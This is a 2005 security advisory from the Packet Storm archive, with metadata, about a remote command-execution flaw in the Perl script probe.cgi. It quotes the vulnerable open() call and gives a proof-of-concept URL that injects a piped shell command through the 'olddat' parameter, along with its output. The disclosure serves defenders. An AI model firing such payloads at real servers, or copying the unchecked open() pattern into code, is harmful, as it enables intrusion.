ID PACKETSTORM:38508 Type packetstorm Reporter spher3 Modified 2005-07-07T00:00:00
Description
`___________________________________________________________
BADROOT SECURITY GROUP
Security Advisory 2005 - #0x06
http://www.badroot.org
irc.us.azzurra.org ~ #badroot
___________________________________________________________
Authors ....... spher3 (spher3 at fatalimpulse dot net) Date
.......... 04-07-2005
Product ....... probe.cgi
Type .......... Remote Command Execution
o Info:
================
That script is used to open file '.dat'.
o Vulnerable Code:
================
..
23 [...]
24 $old = $query->param('olddat');
25 [...]
..
..
34 [...]
35 open (VF, "$olddat");
36 [...]
..
(24) At this line, the cgi param 'olddat' is associated to one database.
This variable isn't checked by anyone matching, so you can open
all file that you want. (35) At this line the script open the file
that you had chosen. With pipe `|`
is possible to execute arbitrary code on the shell.
o Proof of concept:
================
http://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id|
uid=99(www) gid=99(www)
Original ADV: http://www.badroot.org/advisories/SA0x06
`
{"type": "packetstorm", "published": "2005-07-07T00:00:00", "reporter": "spher3", "hashmap": [{"key": "bulletinFamily", "hash": "708697c63f7eb369319c6523380bdf7a"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "d4be9c4fc84262b4f39f89565918568f"}, {"key": "description", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "href", "hash": "3150a480be8ec0dee62be36d9e685b39"}, {"key": "modified", "hash": "fb41cf03a99d99c19cf6cc7c3b943716"}, {"key": "objectVersion", "hash": "56765472680401499c79732468ba4340"}, {"key": "published", "hash": "fb41cf03a99d99c19cf6cc7c3b943716"}, {"key": "references", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "reporter", "hash": "9b6e4f69f6fca293c7dbf3b5b6a92e04"}, {"key": "sourceData", "hash": "e64735056855a7e617f9dce5031f31f8"}, {"key": "sourceHref", "hash": "dcdc1148196d879d7c513d1507c19f83"}, {"key": "title", "hash": "482ea03452bbf52706efdddce629afe1"}, {"key": "type", "hash": "6466ca3735f647eeaed965d9e71bd35d"}], "bulletinFamily": "exploit", "cvss": {"vector": "NONE", "score": 0.0}, "sourceData": "`___________________________________________________________ \n \nBADROOT SECURITY GROUP \nSecurity Advisory 2005 - #0x06 \nhttp://www.badroot.org \nirc.us.azzurra.org ~ #badroot \n___________________________________________________________ \n \nAuthors ....... spher3 (spher3 at fatalimpulse dot net) Date \n.......... 04-07-2005 \nProduct ....... probe.cgi \nType .......... Remote Command Execution \n \no Info: \n================ \nThat script is used to open file '.dat'. \n \no Vulnerable Code: \n================ \n.. \n23 [...] \n24 $old = $query->param('olddat'); \n25 [...] \n.. \n.. \n34 [...] \n35 open (VF, \"$olddat\"); \n36 [...] \n.. \n \n(24) At this line, the cgi param 'olddat' is associated to one database. \nThis variable isn't checked by anyone matching, so you can open \nall file that you want. (35) At this line the script open the file \nthat you had chosen. With pipe `|` \nis possible to execute arbitrary code on the shell. \n \no Proof of concept: \n================ \n \nhttp://the-vuln.site.org/cgi-bin/probe.cgi?olddat=|id| \nuid=99(www) gid=99(www) \n \nOriginal ADV: http://www.badroot.org/advisories/SA0x06 \n`\n", "viewCount": 0, "history": [], "lastseen": "2016-11-03T10:17:44", "objectVersion": "1.2", "href": "https://packetstormsecurity.com/files/38508/probeExec.txt.html", "sourceHref": "https://packetstormsecurity.com/files/download/38508/probeExec.txt", "title": "probeExec.txt", "enchantments": {"vulnersScore": 6.8}, "references": [], "id": "PACKETSTORM:38508", "hash": "e0e7823ea96f65426658396e6d8cfa95f166b42f3f29dc73898b60a92e91bea3", "edition": 1, "cvelist": [], "modified": "2005-07-07T00:00:00", "description": ""}
